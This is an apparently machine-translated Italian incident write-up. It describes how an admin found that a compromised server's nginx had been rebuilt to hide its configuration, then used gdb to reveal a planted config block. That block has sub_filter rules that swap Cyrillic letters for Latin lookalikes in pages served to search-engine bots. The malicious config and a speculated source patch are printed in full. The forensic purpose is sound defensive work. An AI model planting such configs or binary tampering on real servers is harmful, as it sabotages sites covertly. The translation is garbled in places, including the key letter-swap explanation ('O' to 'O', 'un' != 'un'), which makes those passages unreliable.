Quando 'a' non è uguale ad 'a'. Sulla scia di un hack

A uno dei miei amici è successa una storia davvero spiacevole. Ma per quanto spiacevole sia stato per Mikhail, per me è stato altrettanto divertente.

Devo dire che il mio amico è tranquillo UNIX-utente: può installare il sistema da solo mysql, php ed effettuare impostazioni semplici nginx.
E ha una dozzina o un sito e mezzo dedicati agli strumenti di costruzione.

Uno di questi siti dedicato alle motoseghe si colloca saldamente nella TOP dei motori di ricerca. Questo sito è un recensore non commerciale, ma qualcuno ha preso l'abitudine di attaccarlo. Quello Protezione, poi forza bruta, poi scrivono commenti osceni e inviano insulti all'hosting e all'RKN.
All'improvviso tutto si è calmato e questa calma si è rivelata non buona e il sito ha iniziato gradualmente a lasciare le prime righe dei risultati di ricerca.

Quando 'a' non è uguale ad 'a'. Sulla scia di un hack

Questo era un modo di dire, quindi la storia stessa dell'amministratore.

Era quasi ora di andare a dormire quando squillò il telefono: “San, non guardi il mio server? Mi sembra di essere stato hackerato, non posso provarlo, ma la sensazione non mi ha lasciato per la terza settimana. Forse è giunto il momento di farmi curare per la paranoia?"

È seguito un dibattito di mezz’ora che può essere così riassunto:

  • il terreno per l'hacking era abbastanza fertile;
  • un utente malintenzionato potrebbe ottenere i diritti di superutente;
  • l'attacco (se avvenuto) è stato mirato specificatamente a questo sito;
  • le aree problematiche sono state corrette e bisogna solo capire se c'è stata qualche penetrazione;
  • l'hacking non ha potuto influenzare il codice del sito e i database.

Per quanto riguarda l'ultimo punto.

Quando 'a' non è uguale ad 'a'. Sulla scia di un hack

Solo l'IP bianco del frontend si affaccia sul mondo. Non c'è scambio tra il backend e il frontend eccetto http(s), gli utenti/password sono diversi, non è stata scambiata alcuna chiave. Sugli indirizzi grigi, tutte le porte tranne 80/443 sono chiuse. Gli IP backend bianchi sono noti solo a due utenti, di cui Mikhail si fida completamente.

Installato sul frontend Debian 9 e nel momento in cui viene effettuata la chiamata, il sistema è isolato dal mondo da un firewall esterno e bloccato.

"Ok, dammi l'accesso", decido di rimandare il sonno per un'ora. "Vedrò con i miei occhi."

Qui e oltre:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Alla ricerca di un possibile hack

Avvio il server, per primo modalità salvataggio. Monto i dischi e li sfoglio autenticazioneregistri, storia, log di sistema, ecc., se possibile, controllo le date di creazione del file, anche se capisco che un normale cracker si sarebbe "travolto" dietro a se stesso, e Misha aveva già "calpestato" molto mentre cercava se stesso .

Parto in modalità normale, non capendo ancora bene cosa cercare, studio le configurazioni. Prima di tutto mi interessa nginx poiché, in generale, sul frontend non c'è nient'altro tranne esso.
Le configurazioni sono piccole, ben strutturate in una dozzina di file, le guardo semplicemente gatto'oh uno per uno. Sembra tutto pulito, ma non si sa mai se mi è sfuggito qualcosa includere, permettimi di fare un elenco completo:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Non ho capito: “Dov’è l’annuncio?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Alla domanda in elenco si aggiunge una seconda domanda: “Perché una versione così antica di nginx?”

Inoltre, il sistema ritiene che sia installata la versione più recente:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Sto chiamando:
- Misha, perché hai rimontato nginx?
- Svegliati, non so nemmeno come si fa!
- Ok, va bene, vai a dormire...

Nginx è chiaramente ricostruito e l'output dell'elenco utilizzando "-T" è nascosto per un motivo. Non ci sono più dubbi sull'hacking e puoi semplicemente accettarlo e (visto che Misha ha comunque sostituito il server con uno nuovo) considerare il problema risolto.

E in effetti, dal momento che qualcuno ha ottenuto i diritti radice'ah, allora ha senso farlo reinstallare il sistema, ed era inutile cercare cosa c'era che non andava, ma questa volta la curiosità vinse il sonno. Come possiamo scoprire cosa volevano nasconderci?

Proviamo a tracciare:

$ strace nginx -T

Lo guardiamo, chiaramente non ci sono abbastanza linee nella traccia a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Solo per divertimento, confrontiamo i risultati.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Penso che parte del codice /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

è stato portato nella forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

o

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

pertanto l'elenco tramite "-T" non viene visualizzato.

Ma come possiamo visualizzare la nostra configurazione?

Se il mio pensiero è corretto e il problema è solo nella variabile ngx_dump_config proviamo a installarlo utilizzando gdb, per fortuna c'è una chiave --con-cc-opt -g presente e spero che l'ottimizzazione -O2 non ci farà male. Allo stesso tempo, poiché non so come ngx_dump_config potrebbe essere elaborato caso 'T':, non chiameremo questo blocco, ma lo installeremo utilizzando caso 't':

Perché puoi usare '-t' così come '-T'Blocca l'elaborazione if(ngx_dump_config) accade dentro se(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Naturalmente, se il codice viene modificato in questa parte e non in caso 'T':, allora il mio metodo non funzionerà.

Prova nginx.confAvendo già risolto sperimentalmente il problema, è stato stabilito che per far funzionare il malware è necessaria una configurazione minima nginx tipo:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Lo useremo per brevità nell'articolo.

Avvia il debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

I passaggi:

  • impostare un punto di interruzione nella funzione principale()
  • avvia il programma
  • modificare il valore della variabile che determina l'output del config ngx_dump_config=1
  • continuare/terminare il programma

Come possiamo vedere, la configurazione reale è diversa dalla nostra, ne selezioniamo un pezzo parassita:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Diamo un'occhiata a cosa sta succedendo qui in ordine.

Sono determinati User-Agentè yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Sono escluse le pagine di servizio wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

E per coloro che rientrano in entrambe le condizioni di cui sopra

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

nel testo html-le pagine cambiano 'O' su 'O' и 'UN' su 'un':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Esatto, l'unica sottigliezza è questa 'un'!= 'un' così come 'o'!= 'o':

Quando 'a' non è uguale ad 'a'. Sulla scia di un hack

Pertanto, i bot dei motori di ricerca ricevono, invece del normale testo cirillico al 100%, spazzatura modificata diluita con il latino 'un' и 'O'. Non oso discutere di come ciò influisca sulla SEO, ma è improbabile che un tale miscuglio di lettere abbia un impatto positivo sulle posizioni nei risultati di ricerca.

Cosa posso dire, ragazzi dotati di immaginazione.

riferimenti

Debug con GDB
gdb(1) — Pagina man di Linux
strace(1) — Pagina man di Linux
Nginx - Modulo ngx_http_sub_module
A proposito di seghe, motoseghe e seghe elettriche

Fonte: habr.com

Aggiungi un commento